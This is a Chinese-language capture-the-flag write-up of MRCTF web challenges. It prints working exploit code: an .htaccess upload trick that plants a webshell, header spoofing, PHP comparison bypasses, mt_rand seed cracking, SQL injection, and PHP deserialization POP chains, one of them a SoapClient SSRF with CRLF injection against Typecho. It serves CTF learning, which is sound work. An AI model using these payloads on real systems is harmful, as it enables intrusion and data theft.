和武科大WUSTCTF同时打的一场比赛,最后因为精力放在武科大比赛上了,排名13 - -Web题目难度跨度过大,分不清层次,感觉Web题目分布不是很好,质量还是不错的
Ez_bypass
进入题目得到源码:
<?php include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } } ?>
第一层: md5($id) === md5($gg) && $id !== $gg
MD5强相等,数组绕过即可 /index.php?id[]=1&gg[]=2
第二层: !is_numeric($passwd) && $passwd==1234567
is_numeric()绕过:十六进制绕过、%00截断绕过、弱类型比较绕过均可 POST: passwd=1234567a
你传你🐎呢
出题人脾气挺爆的啊,进入题目直接给了一个上传点:
fuzz一下发现后端过滤了所有拓展名中含ph的文件,并且有Content-Type验证
服务器是Apache,不难想到利用.htaccess来将jpg文件当作php文件解析
写一个.htaccess文件,源码如下:
<FilesMatch "jpg"> SetHandler application/x-httpd-php </FilesMatch>
上传时注意抓包修改 Content-Type: image/jpeg
上传成功后上传一个jpg拓展名的一句话木马,得到Shell,Flag在根目录下:
PYwebsite
进入题目查看源代码得到一段验证的Js代码:
function enc(code){ hash = hex_md5(code); return hash; } function validate(){ var code = document.getElementById("vcode").value; if (code != ""){ if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){ alert("您通过了验证!"); window.location = "./flag.php" }else{ alert("你的授权码不正确!"); } }else{ alert("请输入授权码"); } }
发现md5验证成功后会跳转到/flag.php,跟进文件看一下:
细品红框中的话,添加XFF头为127.0.0.1 X-Forwarded-For: 127.0.0.1 ,得到Flag:
(这里的一个坑是输出的Flag是白色的,如果没有用Burp或者其他工具看源码,就要右键框选一下文字才能看到)
套娃
第一层,Ctrl+U 查看源代码:
//1st $query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; }
NCTF原题改编,构造Payload:
第一个if判断:php会把空格( )或者点(.)自动替换成下划线(_),可以绕过
第二个if判断:prep_match()正则匹配,在23333后面加%0A绕过
最终Payload: b u p t=23333%0A 或 b.u.p.t=23333%0A
得到提示:FLAG is in secrettw.php
进入secrettw.php,右键源代码发现注释中有JsFuck,放进F12运行一下得到:
POST:Merak=1 即可得到源码:
<?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); //注意这里!如果POST了Merak就会Die } //重点在这个加密函数上 function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
分析思路:首先用file_get_contents()函数获取2333参数的内容,要求获取到的内容为todat is a happy day;其次是验证IP是否为127.0.0.1;最后是用解密函数对file参数解密,然后包含输出file参数的值;
第一层用data伪协议就可以直接绕过 index.php?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
第二层IP验证测试了一下常用的Header,发现Client-IP可以绕过,添加Header: Client-IP: 127.0.0.1
第三层对file参数进行了一个解密,反推出加密脚本:
<?php function enc($payload){ for($i=0; $i<strlen($payload); $i++){ $re .= chr(ord($payload[$i])-$i*2); } return base64_encode($re); } echo enc('flag.php'); //flag.php加密后得到:ZmpdYSZmXGI= ?>
最终Payload: index.php?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=&file=ZmpdYSZmXGI=
Header添加: Client-IP: 127.0.0.1
Ezaudit
www.zip源码泄露,里面只有一个index.php文件:
<?php header('Content-type:text/html; charset=utf-8'); error_reporting(0); if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $Private_key = $_POST['Private_key']; if (($username == '') || ($password == '') ||($Private_key == '')) { // 若为空,视为未填写,提示错误,并3秒后返回登录界面 header('refresh:2; url=login.html'); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!"; exit; } else if($Private_key != '*************' ) { header('refresh:2; url=login.html'); echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!"; exit; } else{ if($Private_key === '************'){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; //直接SQL注入 万能密码就能过去 $link=mysql_connect("localhost","root","root"); mysql_select_db("test",$link); $result = mysql_query($getuser); while($row=mysql_fetch_assoc($result)){ echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>"; } } } } //代码简化了一下 // genarate public_key function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < 16; $i++ ) $public_key .= substr($strings1, mt_rand(0, 61), 1); //BJDCTF 1st 枯燥的抽奖原题 return $public_key; } //genarate private_key function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < 12; $i++ ) $private_key .= substr($strings2, mt_rand(0, 61), 1); return $private_key; } $Public_key = public_key(); //$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
大概看了一下,这段代码需要三个参数: username(crispr) 、 password(万能密码) 、 Private_key(私钥)
只要能正确输入账号和密码(密码直接用万能密码就可以)以及私钥就可以获得Flag。但是需要公私密钥,这里的突破点是使用了mr_rand()伪随机数函数,并且题目最后给出了公钥,思路也就是利用公钥推算出私钥进行SQL注入。
根据公钥爆破出mt_rand()的种子:
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' str2='KVQP0LdJKRaV3n9D' str3 = str1[::-1] length = len(str2) res='' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' ' break print res
得到种子后再用php_mt_seed爆破一下得到种子: seed = 0x69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM)
写个脚本播撒种子,推出私钥:
<?php mt_srand(1775196155); function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } echo public_key()."\n"; echo private_key(); ?>
得到私钥为 XuNhoueCDCGc
得到私钥,然后在login.html页面用万能密码登陆进去得到Flag
Ezpop
很适合入门者的一道简单反序列化构造Pop链的题目,进入题目,给出源码:
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
出题人还顺带给出了魔法函数的学习地址,这里列出来吧:
__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep() //在对象在被序列化之前运行
__wakeup() //将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() //获得一个类的成员变量时调用
__set() //设置一个类的成员变量时调用
__invoke() //调用函数的方式调用一个对象时的回应方法
__call() //当调用一个对象中的不能用的方法的时候就会执行这个函数
然后来分析一下这道题的pop链构造:
调用__wakeup() -> 触发__tostring() -> source属性不存在,触发Test类的__get()函数 -> 触发__invoke()函数 -> include()包含文件(伪协议)
具体代码层面的逻辑分析可以看官方wp:
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value);//8.触发这个include,利用php base64 wrapper 读flag } public function __invoke(){ $this->append($this->var);//7.然后会调用到这里 } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source;//4.这里会调用str->source的__get 那么我们将其设置为Test对象 } public function __wakeup(){//2.如果pop是个Show,那么调用这里 if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//3.匹配的时候会调用__toString echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p;//5.触发到这里 return $function();//6.()会调用__invoke,我们这里选择Modifier对象 } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']);//1.反序列调用这里 } else{ $a=new Show; highlight_file(__FILE__); }
Exp:
<?php class Modifier{ protected $var; function __construct(){ $this->var="php://filter/convert.base64-encode/resource=flag.php"; } } class Test{ public $p; } class Show{ public $source; public $str; } $s = new Show(); $t = new Test(); $r = new Modifier(); $t->p = $r; $s->str = $t; $s->source = $s; echo urlencode(serialize($s));
Ezpop Revenge
这道题当时没做出来,找到反序列化位点了,也知道是一个SOAP反序列化,但是就是没有找到输入点,也没查到调用类的地方,代码量太大最后也没审计出来。
题目中www.zip泄露源码,然后发现是typecho的源码,但是被魔改了一下,网上查不到有用的CVE,然后开始审计代码,最后在 HelloWorld/Plugin.php 找到反序列化点:
if (isset($_POST['C0incid3nc3'])) { if(preg_match("/file|assert|eval|op|sy|exec|dl|ini|pass|scan|log|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0) unserialize(base64_decode($_POST['C0incid3nc3'])); else { echo "Not that easy."; } //call_user_func("call_user_func",array($a,"233")); } class HelloWorld_DB{ private $flag="MRCTF{this_is_a_fake_flag}"; private $coincidence; function __wakeup(){ $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']); } }
大部分师傅应该都做到了这里,接下来一步才是卡住师傅们的地方。
找到反序列化点之后我们需要找调用类的输入点,NotePad++用关键词搜了半天没搜到,最后发现在 Typecho/Plugin.php 里有一个路由:
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
放出官方的Exp:
<?php class HelloWorld_DB{ private $flag="MRCTF{this_is_a_fake_flag}"; private $coincidence; function __construct($coincidence){ $this->coincidence = $coincidence; } function __wakeup(){ $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']); } } class Typecho_Request{ private $_params; private $_filter; function __construct($params,$filter){ $this->_params=$params; $this->_filter=$filter; } } class Typecho_Feed{ private $_type = 'ATOM 1.0'; private $_charset = 'UTF-8'; private $_lang = 'zh'; private $_items = array(); public function addItem(array $item){ $this->_items[] = $item; } } $target = "http://127.0.0.1/flag.php"; $post_string = ''; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2' ); $a = new SoapClient(null,array('location' => $target, 'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri' => "aaab")); $payload1 = new Typecho_Request(array('screenName'=>array($a,"233")),array('call_user_func')); $payload2 = new Typecho_Feed(); $payload2->addItem(array('author' => $payload1)); $exp1 = array('hello' => $payload2, 'world' => 'typecho'); $exp = new HelloWorld_DB($exp1); echo serialize($exp)."\n"; echo urlencode(base64_encode(serialize($exp)));
用payload打一次刷新下页面var_dump()就会dumpflag出来了
Not So Web Application(谜之Web-Re)
这道题真的不想多说,放在Web分类里,最后其实是wasm的逆向调试,扔给Re师傅,Re师傅看到几百万行代码之后直接把我拉黑了!对,拉黑了!
官方的Wp也是只言片语,原谅我太菜了复现不出来:
首先是题目说明,这玩意本来没这么恶心(没伪装加上 User 和 SQL 那个 SVG)
本题主要难点在于 Web Assembly 至今没有个能用的调试器,所以需要多种手段动调+静态调试。 可以先通过和其他 Qt for Web Assembly 程序比对,去掉一大半疑似函数,同时可以通过搜索字符串(Incorrect等)确定大概相关函数位置。 同时通过给输入框塞入大量垃圾(>64KB,wasm基本内存单位)触发内存越界错误找到变量存储位置。最终在浏览器里动调和 wasm2c 的辅助可以找到flag加密后内容和比对算法。